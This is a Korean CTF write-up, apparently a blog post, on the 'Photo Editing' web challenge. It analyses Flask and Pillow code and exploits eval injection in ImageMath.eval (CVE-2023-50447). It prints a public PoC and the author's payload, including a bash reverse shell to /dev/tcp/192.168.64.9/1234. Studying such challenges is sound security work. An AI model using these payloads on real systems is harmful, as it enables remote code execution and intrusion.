CCE - Photo Editing(web)
해당 문제는 이미지를 업로드 하면 우리가 원하는 대로 편집할 수 있는 기능이 있다.
일단 views.py의 코드를 보면 /transform 엔드포인트에서는 마지막에
transformed_images = ip.apply_transform(transform_name, filenames, user_uuid, options)
위와 같이 apply_transform 함수를 통해 전달한다.
def apply_transform(transform_name, filenames, user_uuid, options=None):
# transform : 변환 이름
# filenames : 이미지 파일들의 이름
# user_uuid : 사용자 식별 id
# options : 변환에 필요한 추가 설정값들
"""Apply a specific transformation to images and return PIL Image objects."""
images = get_processed_images(filenames, user_uuid)
# 이미지 불러오기
if not images:
return []
# 이미지가 없다면 빈 리스트 반환
if options is None:
options = {}
# options 없다면 options 초기화
if transform_name == 'rotate':
# transform_name이 rotate라면
angle = options.get('angle', 90)
# options에서 angle 가져옴. default - 90
return [img.rotate(angle, expand=True) for img in images]
# img.rotate로 이미지 회전
elif transform_name == 'composite':
# transform_name이 composite라면
if len(images) != 2:
# 두 개의 이미지를 선택하지 않으면 에러 발생
raise ValueError("이미지 합성은 반드시 2개의 이미지를 선택해야 합니다.")
# 에러문
img1 = images[0]
img2 = images[1].resize(img1.size)
# 두번째 이미지를 첫 이미지와 같은 크키로 resize
return [Image.blend(img1, img2, alpha=0.5)]
# image.blend 함수를 사용해 이미지를 0.5 투명도로 겹쳐서 합성
elif transform_name == 'append':
# transform_name이 append라면
num_images = len(images)
# 이미지 개수 저장
if num_images == 0:
raise ValueError("이미지를 선택해주세요.")
# 이미지 개수가 0개면
elif num_images > 4:
raise ValueError("이미지 조합은 최대 4장까지만 지원합니다.")
# 이미지 개수가 4개 이상이면
if num_images == 1:
return images
elif num_images <= 3:
min_width = min(img.width for img in images)
resized_images = [img.resize((min_width, int(img.height * min_width / img.width))) for img in images]
total_height = sum(img.height for img in resized_images)
dst = Image.new('RGB', (min_width, total_height))
y_offset = 0
for img in resized_images:
dst.paste(img, (0, y_offset))
y_offset += img.height
return [dst]
elif num_images == 4:
min_size = min(img.width for img in images), min(img.height for img in images)
resized_images = [img.resize(min_size) for img in images]
dst = Image.new('RGB', (min_size[0] * 2, min_size[1] * 2))
dst.paste(resized_images[0], (0, 0))
dst.paste(resized_images[1], (min_size[0], 0))
dst.paste(resized_images[2], (0, min_size[1]))
dst.paste(resized_images[3], (min_size[0], min_size[1]))
return [dst]
elif transform_name == 'contour':
return [img.filter(ImageFilter.CONTOUR) for img in images]
# imageFilter.CONTOUR 필터를 적용시켜서 윤곽선 조정
elif transform_name == 'solarize':
# transform_name이 solarize라면
threshold = options.get('threshold', 128)
return [ImageOps.solarize(img, threshold=threshold) for img in images]
elif transform_name == 'brightness':
factor = options.get('factor', 1.5)
return [ImageEnhance.Brightness(img).enhance(factor) for img in images]
elif transform_name == 'grayscale':
return [img.convert('L') for img in images]
# 이미지를 L 모드로 변환함
elif transform_name == 'sepia':
# 행렬을 사용하여 이미지를 세피아 톤으로 변환
sepia_matrix = [
0.393, 0.769, 0.189, 0,
0.349, 0.686, 0.168, 0,
0.272, 0.534, 0.131, 0
]
return [img.convert("RGB", sepia_matrix) for img in images]
# # 행렬을 사용하여 이미지를 세피아 톤으로 변환
elif transform_name == 'custom_formula':
exp = options.get('expression')
# options애서 expression 값을 가져온다.
if not exp:
# 만역 exp 값이 없다면
raise ValueError("Custom formula requires an 'expression'.")
# 에러 발생
env = { fname: img for fname, img in zip(filenames, images) }
# filenames와 images를 짝지어서 {파일명: 이미지 객체} 형태의 환경 변수 딕셔너리를 만든다.
# ex) {'a': <Image 1>, 'b': <Image 2>}
try:
result = ImageMath.eval(exp, env)
# exp에 있는 문자열 형태의 수식을 env를 실행환경으로 계산한다. 예를 들어서 exp가 a+b라면 두 이미지를
# 픽셀 단위로 더하는 연산이 수행된다.
# <취약점> -> Eval Injection 가능
#
return [result]
# result 반환
except Exception as e:
return [None]
else:
raise ValueError(f"Unknown transformation: {transform_name}")
그래서 apply_transform 함수를 보니까 코드의 끝자락에 ImageMath.eval(exp, env) 이런식의 eval 함수를 사용한 것을 알 수 있다.

editor 엔드포인트에 가보면 위와 같이 우리가 원하는대로 이미지를 편집할 수 있는 기능이 존재하는데, 이때 제일 아래에 있는 커스텀 수식을 선택하면 ImageMath 수식을 입력하라고 나온다. 그 부분의 로직을 담당하는 코드인 것 같다.
elif transform_name == 'custom_formula':
exp = options.get('expression')
# options애서 expression 값을 가져온다.
if not exp:
# 만역 exp 값이 없다면
raise ValueError("Custom formula requires an 'expression'.")
# 에러 발생
env = { fname: img for fname, img in zip(filenames, images) }
# filenames와 images를 짝지어서 {파일명: 이미지 객체} 형태의 환경 변수 딕셔너리를 만든다.
# ex) {'a': <Image 1>, 'b': <Image 2>}
try:
result = ImageMath.eval(exp, env)
# exp에 있는 문자열 형태의 수식을 env를 실행환경으로 계산한다. 예를 들어서 exp가 a+b라면 두 이미지를
# 픽셀 단위로 더하는 연산이 수행된다.
# <취약점> -> Eval Injection 가능
#
return [result]
# result 반환
except Exception as e:
return [None]
‘custom_formula’만 따로 보면, exp에는 우리가 입력한 값이 그대로 들어가고, eval 함수를 통해 해당 커맨드를 실행하게 된다. 따라서 나는 바로 리버스쉘 페이로드를 넣어서 리버스쉘에 연결을 시도해봤다.
이 문제의 핵심 기능은 아래 보이는 것과 같다.

위의 사진을 보면 알 수 있듯이, 흑백, 세피아 등 우리가 원하는 스타일대로 이미지를 편집할 수 있는 기능이 있다.
해당 기능에 대한 소스코드를 분석해보자.
# 변환된 이미지 미리보기
@board_bp.route('/<user_uuid>/transform/<int:post_id>', methods=['POST'])
@login_required
def transform_image(user_uuid, post_id):
user, post = get_user_post(user_uuid, post_id)
check_user(user)
# check user
filenames = request.form.getlist('filenames') # 변환할 이미지
transform_name = request.form.get('transform_name', 'grayscale') # 변환 타입
expression = request.form.get('expression') # 커스텀 수식
if not filenames:
flash("최소 한 장의 이미지를 선택해주세요.", "error")
return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))
try:
options = {}
if transform_name == 'custom_formula':
options['expression'] = expression
auto_variables = {}
for i, fname in enumerate(filenames):
var_name = chr(ord('a') + i)
auto_variables[var_name] = fname
options['variables'] = auto_variables
if transform_name == 'brightness':
try:
factor = float(request.form.get('brightness_factor', 1.5))
options['factor'] = factor
except (ValueError, TypeError):
flash("유효한 밝기 값을 입력해주세요.", "error")
return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))
elif transform_name == 'rotate':
try:
angle = int(request.form.get('rotate_angle', 90))
if angle not in [90, 180, 270]:
raise ValueError("유효한 회전 각도를 선택해주세요 (90, 180, 270). ")
options['angle'] = angle
except (ValueError, TypeError):
flash("유효한 회전 각도를 선택해주세요 (90, 180, 270).", "error")
return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))
transformed_images = ip.apply_transform(transform_name, filenames, user_uuid, options)
# apply_transform() 함수를 통해 적용시킴
if not transformed_images:
flash("이미지 변환에 실패했습니다.", "error")
return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))
saved_transformed_filenames = []
for img in transformed_images:
if not isinstance(img, Image.Image):
saved_transformed_filenames.append('uploads/Error.png')
continue
try:
original_filename_for_ext = filenames[0] if filenames else None
saved_filename = save_pil_image_for_user(img, user_uuid, original_filename_for_ext)
saved_transformed_filenames.append(saved_filename)
except ValueError as e:
flash(f"변환된 이미지 저장 실패: {str(e)}", "error")
return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))
return render_template(
'board/transform_preview.html',
user=user,
post=post,
transformed_image_filenames=saved_transformed_filenames,
original_filenames=filenames,
transform_name=transform_name,
expression=expression
)
except ValueError as e:
logging.error(f"이미지 처리 중 오류: {e}\\n{traceback.format_exc()}")
flash(f"오류가 발생했습니다: {str(e)}", "error")
return redirect(url_for('board.image_editor', user_uuid=user_uuid, post_id=post_id))
filenames, transform_name, expression을 파라미터로 받고 있다.
만약 transform_name이 custom_formula라면 사용자가 입력한 expression을 options 딕셔너리에 삽입한다.
transformed_images = ip.apply_transform(transform_name, filenames, user_uuid, options)
그리고 위의 코드를 통해 파라미터들을 apply_transform 함수에 넘겨준다.
image_processor.py - apply_transform()
def apply_transform(transform_name, filenames, user_uuid, options=None):
# transform : 변환 이름
# filenames : 이미지 파일들의 이름
# user_uuid : 사용자 식별 id
# options : 변환에 필요한 추가 설정값들
"""Apply a specific transformation to images and return PIL Image objects."""
images = get_processed_images(filenames, user_uuid)
# 이미지 불러오기
if not images:
return []
# 이미지가 없다면 빈 리스트 반환
if options is None:
options = {}
# options 없다면 options 초기화
if transform_name == 'rotate':
# transform_name이 rotate라면
angle = options.get('angle', 90)
# options에서 angle 가져옴. default - 90
return [img.rotate(angle, expand=True) for img in images]
# img.rotate로 이미지 회전
elif transform_name == 'composite':
# transform_name이 composite라면
if len(images) != 2:
# 두 개의 이미지를 선택하지 않으면 에러 발생
raise ValueError("이미지 합성은 반드시 2개의 이미지를 선택해야 합니다.")
# 에러문
img1 = images[0]
img2 = images[1].resize(img1.size)
# 두번째 이미지를 첫 이미지와 같은 크키로 resize
return [Image.blend(img1, img2, alpha=0.5)]
# image.blend 함수를 사용해 이미지를 0.5 투명도로 겹쳐서 합성
elif transform_name == 'append':
# transform_name이 append라면
num_images = len(images)
# 이미지 개수 저장
if num_images == 0:
raise ValueError("이미지를 선택해주세요.")
# 이미지 개수가 0개면
elif num_images > 4:
raise ValueError("이미지 조합은 최대 4장까지만 지원합니다.")
# 이미지 개수가 4개 이상이면
if num_images == 1:
return images
elif num_images <= 3:
min_width = min(img.width for img in images)
resized_images = [img.resize((min_width, int(img.height * min_width / img.width))) for img in images]
total_height = sum(img.height for img in resized_images)
dst = Image.new('RGB', (min_width, total_height))
y_offset = 0
for img in resized_images:
dst.paste(img, (0, y_offset))
y_offset += img.height
return [dst]
elif num_images == 4:
min_size = min(img.width for img in images), min(img.height for img in images)
resized_images = [img.resize(min_size) for img in images]
dst = Image.new('RGB', (min_size[0] * 2, min_size[1] * 2))
dst.paste(resized_images[0], (0, 0))
dst.paste(resized_images[1], (min_size[0], 0))
dst.paste(resized_images[2], (0, min_size[1]))
dst.paste(resized_images[3], (min_size[0], min_size[1]))
return [dst]
elif transform_name == 'contour':
return [img.filter(ImageFilter.CONTOUR) for img in images]
# imageFilter.CONTOUR 필터를 적용시켜서 윤곽선 조정
elif transform_name == 'solarize':
# transform_name이 solarize라면
threshold = options.get('threshold', 128)
return [ImageOps.solarize(img, threshold=threshold) for img in images]
elif transform_name == 'brightness':
factor = options.get('factor', 1.5)
return [ImageEnhance.Brightness(img).enhance(factor) for img in images]
elif transform_name == 'grayscale':
return [img.convert('L') for img in images]
# 이미지를 L 모드로 변환함
elif transform_name == 'sepia':
# 행렬을 사용하여 이미지를 세피아 톤으로 변환
sepia_matrix = [
0.393, 0.769, 0.189, 0,
0.349, 0.686, 0.168, 0,
0.272, 0.534, 0.131, 0
]
return [img.convert("RGB", sepia_matrix) for img in images]
# # 행렬을 사용하여 이미지를 세피아 톤으로 변환
elif transform_name == 'custom_formula':
exp = options.get('expression')
# options애서 expression 값을 가져온다.
if not exp:
# 만역 exp 값이 없다면
raise ValueError("Custom formula requires an 'expression'.")
# 에러 발생
env = { fname: img for fname, img in zip(filenames, images) }
# filenames와 images를 짝지어서 {파일명: 이미지 객체} 형태의 환경 변수 딕셔너리를 만든다.
# ex) {'a': <Image 1>, 'b': <Image 2>}
try:
result = ImageMath.eval(exp, env)
# exp에 있는 문자열 형태의 수식을 env를 실행환경으로 계산한다. 예를 들어서 exp가 a+b라면 두 이미지를
# 픽셀 단위로 더하는 연산이 수행된다.
# <취약점> -> Eval Injection 가능
#
return [result]
# result 반환
except Exception as e:
return [None]
else:
raise ValueError(f"Unknown transformation: {transform_name}")
해당 함수는 사용자가 선택한 이미지 파일에 스타일을 실제로 적용 시키는 기능을 하는 함수이다. 여기서 주목해서 봐야할 코드는 ImageMath.eval(exp, env) 코드이다. eval 함수를 보자마자 rce가 터질 것 같다고 생각이 들어서 한번 해당 함수에 대해 찾아보았더니 아래와 취약점을 확인할 수 있었다.
https://security.snyk.io/vuln/SNYK-PYTHON-PILLOW-6182918
→ CVE-2023-50447
해당 취약점은 PIL 라이브러리에서 ImageMath.eval() 함수를 사용할 때 eval injection이 발생한다고 한다.
<PoC>
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
PoC를 보면 class, bases, subclasses 라는 이름의 이미지 파일들을 열고 있다. 그리고 exp에는 RCE 페이로드를 삽입한다. 그 후에 environment에는 위에서 열었던 이미지 파일들의 이름을 딕셔너리로 저장한다. 그리고 ImageMath.eval()의 파라미터로 위의 값을 각각 넣어주면 eval injection이 발생하여 임의 코드를 실행할 수 있다고 한다.
그렇다면 우리는 위의 PoC처럼 이미지 파일의 이름을 바꿔서 업로드 해주고 exp에 rce 페이로드를 삽입하면 성공적으로 rce를 일으켜서 flag를 획득할 수 있을 것이다.
위의 image_processor.py 파일을 보면 utils.py에서 get_processed_images() 함수를 불러와서 사용하고 있다. 따라서 해당 함수를 확인해보면
def get_user_upload_folder(user_uuid):
"""사용자별 업로드 폴더 경로 반환"""
base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
user_folder = os.path.join(base_dir, 'static', 'uploads', 'board', user_uuid)
os.makedirs(user_folder, exist_ok=True)
return user_folder
def get_processed_images(filenames, user_uuid):
upload_folder = get_user_upload_folder(user_uuid)
images = []
for fname in filenames:
file_path = os.path.join(upload_folder, fname)
try:
img = Image.open(file_path).convert('RGB')
#
images.append(img)
except IOError as e:
logging.error(f"Error opening image file {file_path}: {e}")
continue
if not images:
return []
return images
위와 같이 구성되어 있다. 따라서 filename에 대한 검사는 전혀 진행하고 있지 않다.
- view.py를 보면 /edit 엔드포인트에서는 확장자에 대한 검사는 진행하고 있다.
따라서 위의 PoC에서 봤던 것처럼 각 파일들의 이름을 우리가 원하는대로 지정해줄 수 있을 것이다.
익스플로잇
# PoC 페이로드
().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')
# (reverse shell)
().__class__.__bases__[0].__subclasses__()[104].load_module('os').system("bash -c 'bash -i >& /dev/tcp/192.168.64.9/1234 0>&1'")
따라서 exp에 위의 리버스 쉘 페이로드를 넣고 전송하면

메모
CVE-2023-50447 PoC만 알면 풀 수 있는 문제임.
리버스 쉘을 연결할때 자꾸 연결이 안돼서 문제가 있었다.
().__class__.__bases__[0].__subclasses__()[104].load_module('os').system("bash -c 'bash -i >& /dev/tcp/192.168.64.9/1234 0>&1'")
RCE(reverse shell) 트리거 할 땐 위의 페이로드를 사용해야겠음
'CTF & Wargame(CTF's)' 카테고리의 다른 글
| HITCON - IMGC0NV(다시) (0) | 2025.10.17 |
|---|---|
| SunshineCTF writeup (0) | 2025.10.17 |
| WatCTF writeup(web) (0) | 2025.09.11 |
| 제 31회 해킹캠프 CTF write up (0) | 2025.09.10 |
| Full Weak Engineer CTF 2025 Writeup(web) (0) | 2025.09.10 |